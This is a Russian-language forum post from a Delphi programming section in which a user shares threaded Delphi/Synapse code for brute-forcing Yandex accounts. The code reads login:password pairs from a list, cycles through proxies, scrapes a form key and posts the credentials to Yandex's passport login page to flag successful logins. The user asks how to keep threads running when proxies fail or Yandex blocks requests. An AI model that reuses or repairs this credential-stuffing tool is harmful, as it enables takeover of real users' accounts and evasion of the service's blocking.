Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Help me :)

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 24.01.2013, 18:04   #1
Заблокирован
 Пехотинец
Аватар для =PaLeTiZaToR=
 
=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса
Регистрация: 02.04.2011
Сообщений: 66
Популярность: 9953
Сказал(а) спасибо: 898
Поблагодарили 412 раз(а) в 209 сообщениях
Отправить сообщение для =PaLeTiZaToR= с помощью Skype™
 
По умолчанию Help me :)

[Частичное решение ... но оно лажовое ;|]
Код:
 if (http.ResultCode=403) or (http.ResultCode=500)  then
    begin
        form1.sMemo1.Lines.Add('Реанимировали');
         TNewThread.Create(false);
    end;

//Потоки начинают быстро расти... и программа залагивает.. пробывал вынести в синхронайз, тоже самое

Добрый день.

Сначала приведу код, потом суть проблемы
Код потока
Код:
constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;


procedure TNewThread.Execute;
var CurAcc:integer;
curproxy:integer;
    data:tstringstream;
    Str:tstringlist;
    Http:tHttpSend;
    Stranisa,key:boolean;
    f:tstringstream;
    KeyRez:string;
    reg:tregexpr;
    user:integer;
    useragent:string;

begin
 while Work do
  begin
   CS.Enter;
   inc(accproxy);
   Inc(Acc);
   if form1.scheckbox3.checked=true then
   begin
   if accproxy<proxy.Count then
   begin
   curProxy:=accproxy;
   end
   else
   accproxy:=-1;
   end;
   if Acc<sourse.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;

   if Work then
   begin

    if pos(':',Sourse[CurAcc])<>0 then
     begin
     FAcc := Copy(Sourse[CurAcc], 1, Pos(':', Sourse[CurAcc]) - 1);
      FPas := Copy(Sourse[CurAcc], Pos(':', Sourse[CurAcc]) + 1,length(Sourse[CurAcc]));

     end;
     if pos(';',Sourse[CurAcc])<>0 then
     begin
     FAcc := Copy(Sourse[CurAcc], 1, Pos(';', Sourse[CurAcc]) - 1);
      FPas := Copy(Sourse[CurAcc], Pos(';', Sourse[CurAcc]) + 1,length(Sourse[CurAcc]));
     end;

     Http:=tHTTPsend.Create;
     reg:=tregexpr.Create;
     if form1.scheckbox3.checked=true then

   begin
     fProxyip:= Copy(proxy[curProxy],1,Pos(':',proxy[curProxy])-1);
     fProxyPort:= Copy(proxy[curProxy],Pos(':',proxy[curProxy])+1,Length(proxy[curProxy]));
     http.ProxyHost:=fproxyip;
     http.ProxyPort:=fproxyport ;
    //form1.smemo1.lines.add(fproxyip+':'+fProxyPort);
   end;



  {Сам процесс перебора}
  try

    http.Protocol:='1.1';
    http.headers.add('Accept: text/html, */*');
    http.headers.add('Accept-Encoding: identity');
    http.Timeout:=10000;


    key:=http.HTTPMethod('GET','https://pda-    passport.yandex.ru:443/passpot?mode=auth');
 

     if pos('Transfer-Encoding: chunked',HTTP.Headers.Text)=0 then
     begin
       rez:=0;
     end

     else
     begin
     f:=tstringstream.create;
     str:=tstringlist.create;

     http.Document.SaveToStream(F);
     str.Text := f.dataString;
     str.Text := Utf8ToAnsi(str.Text);
     keyRez:=str.Text;

     f.Clear;
     str.Clear;

     reg.expression := (';idkey=(.*?)" class=');
      if reg.exec(keyRez) then
       begin
       keyRez:=reg.Match[1];
       end;

    http.clear;
    http.Protocol:='1.1';
    http.mimetype:='application/x-www-form-urlencoded';
    http.headers.add('Accept: text/html, */*');
    http.headers.add('Referer: https://pda-passport.yandex.ru/passport?mode=auth');
    http.headers.add('Accept-Language: ru-RU');


{Авторизуемся на yandex}
    data:=tstringstream.create('login='+facc+'&passwd='+fpas+'&timestamp=&idkey='+keyREZ);
    HTTP.Document.LoadFromStream(Data);

    http.Timeout:=10000;
    HTTP.HTTPMethod('POST','https://pda-passport.yandex.ru:443/passport?mode=auth');
    rez:=-1;

     begin
      if pos('Location',HTTP.Headers.Text) <> 0  then
      begin
       Rez:=1;
      end;
     end;
     end;
 except
  //form1.sMemo1.Lines.Add('Вылетел поток')
  end;


  end;

   f.free;
   str.free;
   reg.Free;
   HTTP.Free;
   data.free;
   Synchronize(Sync)
  end;
 dec(Thread);
end;
При бруте со своего ип - все нормально
Начинаю брутить с прокси, брут продолжается до тех пор , пока не будет использована ошибочная прокси... если потоков 10 допустим и yandex ответил 403 то потоков становится 9 и тд...
как можно заставить его не вылетать при ошибках ? Очень прошу помощи т.к за....манался

Очень важно!!! Использю Синапс !!!

Скрин

Последний раз редактировалось =PaLeTiZaToR=; 24.01.2013 в 19:37.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 05:37.

Пишите нам: forum@zhyk.ru
Copyright © 2025 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net